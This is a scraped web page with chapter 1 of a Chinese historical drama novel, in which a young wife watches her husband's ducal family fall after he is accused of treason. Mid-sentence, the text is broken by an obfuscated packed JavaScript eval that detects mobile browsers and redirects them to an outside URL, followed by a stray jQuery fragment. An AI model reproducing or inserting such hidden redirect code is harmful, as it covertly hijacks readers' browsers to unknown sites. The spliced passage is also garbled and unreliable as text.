默认冷灰
24号文字
方正启体

1. 第 1 章

作者:狸宝贝本书字数:K更新时间:
    冰雪消融,杨柳依依,整个三月都暖洋洋的。


    白青禾在府里憋了一冬,进了三月几乎每天都要带丫鬟出门转上一圈。


    白家祖上曾追随开国皇帝出生入死,战乱平息后,封为三等侯。


    可惜荣耀只维持三代,到白青禾祖父这代,沦落到普通人都不如,靠为歌坊、青楼谱曲为生。


    大周朝百姓大致可以分为四等。


    特殊阶层,包括皇亲国戚、贵族、士族和官僚士大夫。


    接着是良民,平常百姓口中的士农工商。


    三等便是士农工商外的其他行业人员。


    四等则是贱籍,各种奴隶等,主家可以自行买卖。


    而乐籍便是贱籍中的一个,通常都是罪犯人员的家属,充入乐籍,世代为乐户,不能科举,不能与良民通婚。


    大多时候都会成为特殊阶层的玩物。


    可以说一入乐籍,生生世世都别想翻身。


    白家虽没沦落到乐籍,但为乐籍谱曲并不是什么光荣的事情。


    后来白老爷子无意中偶遇皇上,并为皇上谱出一曲惊天地泣鬼神的杰作,龙颜大悦,皇上当即提拔他为六品礼部员外郎。


    白老爷子退出官场前已经做到正四品礼部侍郎。


    如果说白老爷子这辈子做的最成功的两件事,其一是封为正四品礼部侍郎,其二便是将宝贝孙女嫁进魏国公府,成为魏国公的嫡长子媳。


    白青禾一直是祖父的骄傲。


    她出生时,白家虽没恢复祖上荣耀,但祖父是皇上宠臣,父亲中进士后也封了九品官。


    她出嫁后,父亲接替祖父职位,升为正四品礼部侍郎。


    如无意外,肯定会青出于蓝而胜于祖父。


    娘家这边,可以说没有一点让她操心的事情。


    魏国公早年在战场断了一条腿,之后一直留在府里修养。


    人又糙又莽,从不管府中事务。


    婆母是个没什么主见和算计的柔软性子,她没进门时,把家里管的乱七八糟,她进门后接管府中中馈,家里才算流畅起来。


    魏国公有两子一女。


    长子是白青禾的丈夫慕青岚,十六岁上战场,今年二十二岁,从无败绩。


    去年冬天又立了大功,被封为四品威远将军。


    赏赐多到白青禾连咂了三天舌。


    白老爷子逢人就炫耀,他这个孙女婿是个能耐人,前途不可限量。


    次子去年参加科举,乡试中了解元。


    殿试被皇上钦点为头甲第三名,赐进士及第。


    也就是常人口中的探花郎。


    今天正是他进翰林院当值的日子。


    今早换上官服,面如朗月,眸带疏狂。


    真可谓春风得意马蹄疾,一身锦绣风光。


    未婚妻又是户部尚书之女。


    两人的身份一个比一个尊贵,绝对的强强联合。


    魏国公唯一的女儿比白青禾小两岁,还没成亲,也就这一两年的事,夫家和国公府门当户对。


    魏国公府如日中天,朝中大臣哪个不羡慕。


    作为国公府的嫡长媳,白青禾出身不高,早已成为满京城父母口中别人家的姑娘。


    跨越阶层,嫁进婆家就拿到管家权,执掌中馈,丈夫屡立战功,小叔新中探花,小姑敬爱有加,未来可见的,什么烦心事都不会有。


    白青禾自己也是这么想的。


    她对现在的生活十分满意。


    唯一遗憾也只有,成亲第二天丈夫就出征了。


    两个人连房都没圆。


    也是丈夫做人,担心自己战死沙场,她留在国公府白白受磋磨,真有那天,任由她嫁娶,公婆不能阻拦。


    能嫁给这样粗中有细的男人,日常相处肯定和睦。


    她只希望丈夫早些凯旋。


    “小姐,您看这支金钗好看吗?”


    婢女桃花拿起一支金钗给她看。


    白青禾从回忆里抽离回来,被金灿灿的发钗闪到,点了点头。


    “好看……”


    “吆,还有心情看首饰呢。”


    白青禾话没说完,被人莫名其妙打断。


    声音听着耳熟,她转头给对方一个冷冰冰的眼神,“管你什么事!”


    对方是个和她年岁差不多大的小姑娘。


    往常见到她,眼里都是羡慕之情,今天却充满了嫌弃。


    “是不管我的事,我只是想告诉你,魏国公府的天……塌了,你再不回去,可能连门都进不去了。”


    白青禾一个字都不信,“你少胡说,公婆怎么可能不让我进门。”


    公爹不管事,婆母对她信任有加。


    嫁进国公府一年来,她自问没出任何纰漏,怎么会连家门都进不去。


    难道是丈夫回来了……


    很多画本子里会写,男人凯旋时都会带个欢好的女子,更有甚者,连孩子都有了。


    要求正妻给外室女让位。


    她和丈夫虽然都生活在京城,可婚前并无来往。


    算得上盲婚哑嫁。


    她对丈夫人品了解不多。


    这种情况也不是没有可能。


    她又不是软柿子,他真敢带女人回来,她就和离。


    白青禾心思飞快运转。


    听见对方又说:“还傻愣着干什么,你丈夫,慕卿岚投敌叛国,魏国公削爵罢官,查封国公府,你现在跑回去,还能带点自己的东西出来,再晚些,可就真进不去家门了。”


    “投敌叛国?”晴天霹雳不过如此。


    白青禾好一会儿才找到自己声音,她紧紧握住桃花的手腕,勉强撑住自己不断发抖的身体。


    “你胡说,我丈夫年前还立过功,怎么可能投敌!”


    白青禾这副风雨飘摇的样子,对方看在眼里,别提多痛快了。


    “这么大事,我敢骗你还怕国公府报复,你不信,回去瞧瞧不就知道了。”


    ……


    白青禾不相信丈夫投递叛国。


    那可是抄家灭门的大罪。


    他不要父母族人了?


    可别人不能拿这种事开玩笑,所以,丈夫投敌叛国,十有八九是真的。


    白青禾急匆匆往回跑。


    同时心里在飞快计较着。


    慕家出现这种人,生生世世都别想翻身了。


    能保住三族,也逃脱不了充军发配的厄运。


    她才十七岁,大好的年华不能被国公府连累了,此刻她要做的便是和魏国公府划清界限。


    光凭自己的能力可能不够,她打发桃花回白家,将此事告诉祖父和父亲,让他们想办法。


    她则用最快的速度赶回国公府,让魏国公和国公夫人把和离书签了,从此白家和慕家再无关系。


    如果慕卿岚战死沙场,她断不会生出此种心思。


    可恨他竟然投敌叛国,连累她这个没圆过房的媳妇不说,白家都有可能受牵连。


    慕家也别怪她无情无义,她能保住自身,将来才有机会拉他们一把。


    白青禾这辈子都没跑出过今天的速度。


    她气喘吁吁赶到国公府门口,心脏都仿佛不是自己的。


    此时国公府大门贴上封条,大门口被差役团团围住。


    而魏国公一家全都挤在门口,还有不少看热闹的围观百姓。


    有哭的,有喊的,有叫的,有闹的,有呵斥的,有维持秩序的……


    场面十分混乱。


    白青禾一时挤不进人群里。


    又不好当着这么多人的面和慕家划清界限。


    慕家最终什么结果她不知道,白家姑娘无情无义先被戳脊梁骨了。


    白青禾躲在人群后边,绞尽脑汁琢磨着找个什么借口既能保住体面,又能脱离慕家。


    对了,慕卿岚投递叛国,她干脆站在大义面前,誓要与这种乱臣贼子割袍断义,从此以后男婚女嫁,各不相干。


    白青禾自认这个主意十分友好。


    既能保住白家名声,又能表明自己忠君爱国之心,还能和慕家划清界限。


    白青禾深吸一口,打算推开人群挤到魏国公夫妻面前。


    可惜她慢了一步,已经有人赶到魏国公夫妻面前。


    是她小姑的夫家,清远侯府。


    清远侯府消息灵通,圣旨还没出皇宫,清远侯府就得到了消息。


    此刻赶过来退亲的不是清远侯,而是侯府嫡长子,代表父母携定亲信物来的。


    “慕卿岚投递叛国,背信弃义,大逆不道,我们清远侯府决不与这种人结亲,从此刻起,侯府与慕家再无关系,这是定亲信物,还请魏国公……慕老爷拿回去,将我侯府信物交出来。”


    白青禾听得目瞪口呆。


    侯府竟然用这种借口退亲。


    早知如此,她该抢先一步的。


    魏国公血气上涌,怒视着清远侯府嫡长子,人已经被削爵,可气势不减。


    “这是你们清远侯府主动退婚,日后查出真相,我儿并非投递叛国,那时别上门求情。”


    他一把夺过定亲信物,却还不出清远侯府的信物。


    白青禾的小姑,慕卿紫咬牙切齿狠狠瞪着对方,“这是阿忠的意思?”


    侯府嫡长子不屑道:“难不成,你一个落魄的乞丐还想嫁进我们侯府?”


    慕卿紫身为国公府唯一的女儿,从小养尊处优,娇生惯养长大的,何曾受过这种侮辱。


    “想要回定亲信物,好啊,有种揭了封条,你进去拿!”


    皇上下旨,国公府所有人驱逐出府,除了身上衣服,任何东西不许带走。


    慕卿紫怎么会随身携带夫家给的定亲信物。


    侯府嫡长子被噎到,他有天大的胆子也不敢揭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515287|203157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开封条。


    “不管怎么说,婚事就此作罢,这辈子,你都休想嫁进我们侯府!”


    侯府嫡长子甩袖而去。


    慕卿紫冲着他的背影狠狠啐一口。


    “呸,我这辈子嫁猪嫁狗,也不嫁给你们韩家。”


    魏国公左腿膝盖以下都没了,又气又怒之下,拐杖撑不住他高大的身躯,只能找地方坐下。


    慕夫人好不容易给女儿定下一门好亲事,眼睁睁看着人家把定亲信物送回来,可想而知女儿这辈子得多苦,眼前天旋地转,险些昏死过去。


    白青禾注意到婆婆身体不好,急忙挤过人群赶过去扶住她。


    “娘,您没事吧?”


    慕夫人逐渐恢复神智,紧紧握住她的手,年过四十的妇人,眼泪像断了线的珠子,噼里啪啦往下落。


    白青禾于心不忍。


    反正像清远侯府那般大义凛然,站在穆家的对立面,把自己置于道德制高点,她是做不出来了。


    可慕卿岚投敌,祸及三族。


    追究起来,白家都逃不掉。


    她不能连累父母。


    既然不能站在道德制高点,那就把自己表现的委屈一些,反正慕夫人心疼她,她再从话里引导一番,让慕夫人主动开口,赶她离开慕家。


    那便不是她主动离开。


    感情上,慕家人更容易接受一些。


    白青禾打定主意,准备开口。


    “娘……”


    “慕夫人,”白青禾再次被人打断。


    打断她的不是别人,正是小叔的未婚妻,赵如烟,也是她的表妹。


    赵如烟温温柔柔给穆夫人行礼,脸上梨花带雨,仿佛一朵不堪丰风雨摧残的小娇花。


    慕夫人扔了白青禾,紧紧抓住赵如烟,“如烟,你总算来了……”


    赵如烟是户部尚书的女儿。


    赵尚书深得皇上喜爱。


    这个时候,如果还有一个人能为慕家说上话,那便是赵尚书了。


    慕夫人把所有期望都放在赵如烟身上。


    话没说出来一句,全是眼泪。


    白青禾很想拉回婆母。


    赵如烟那么自私的人,这个时间赶过来,除了退婚还能是什么。


    婆母还期望赵如烟帮忙,她不落水下石就不错了。


    “慕夫人,”赵如烟用手帕装模作样按按眼眶,“按理,这个时候我该跟慕家站在一起,帮忙查清楚真相,可大哥他……唉,他怎么能做出如此糊涂事,我也是有心无力……”


    她不给穆夫人开口的机会,“如烟知道,慕夫人最疼如烟了,肯定舍不得连累如烟,跟着慕家一起受苦,退婚你们说不出口,如烟却不能装作不知道……”


    她将订亲信物塞进慕夫人手里。


    “这个,您收起来,我和二郎的婚事就罢了吧……”


    赵如烟捂着脸,仿佛很伤心的样子跑出人群。


    留下慕夫人眼前又是一黑。


    白青禾刚想好的办法,又被别人用了。


    到底相处一年的家人,她看不得婆母悲伤过度。


    这可怎么好!


    白青禾绞尽脑汁,用清远侯府的说辞,很容易被人看出来她东施效颦。


    赵如烟用过的办法,她嫌弃,宁愿一辈子被人戳脊梁骨,她都不会再用。


    那就只能挑慕卿岚的毛病了。


    谁让他投敌叛国的。


    白青禾成亲一年,没圆房,何苦受他连累,这和公婆无关,是慕卿岚不做人。


    希望公婆体谅。


    可惜,白青禾失策了。


    这套说辞被二房抢先用了。


    魏国公弟弟一家一直住在国公府。


    一儿一女接连退亲后,慕老二坐不住了,他携妻子、儿女、小妾辞别慕家。


    不是他们狠心,非要和慕家断绝关系,实在是慕卿岚不做人。


    亲叔叔无所谓,愿意和侄子荣辱与共,可孩子是无辜的,不能一辈子顶着叛贼家人的名义活着。


    今天当着所有街坊邻居的面,割袍断义,从此桥归桥,路归路,再无瓜葛。


    慕夫人眼前再一次发黑。


    白青禾:“……”


    那是她的词啊!


    她悄悄掐了把自己,死脑袋快点想,怎么尽快和慕家脱离关系。


    就在此时,忽然感觉有什么凉飕飕的东西横在脖颈处。


    她下意识转头,就见一柄明晃晃的利剑横在肩膀上,随时都能让她见血封喉,去见太奶奶!


    而手持这把利刃的,正是今天早晨意气风发离开国公府去翰林院上任的小叔。


    慕卿白。


    此刻,慕卿白双眼发沉,整个人被一层巨大的阴影笼罩,仿佛来自地狱的恶魔。


    他盯着白青禾。


    声音如鬼似魅。


    “嫂嫂,你也要走吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)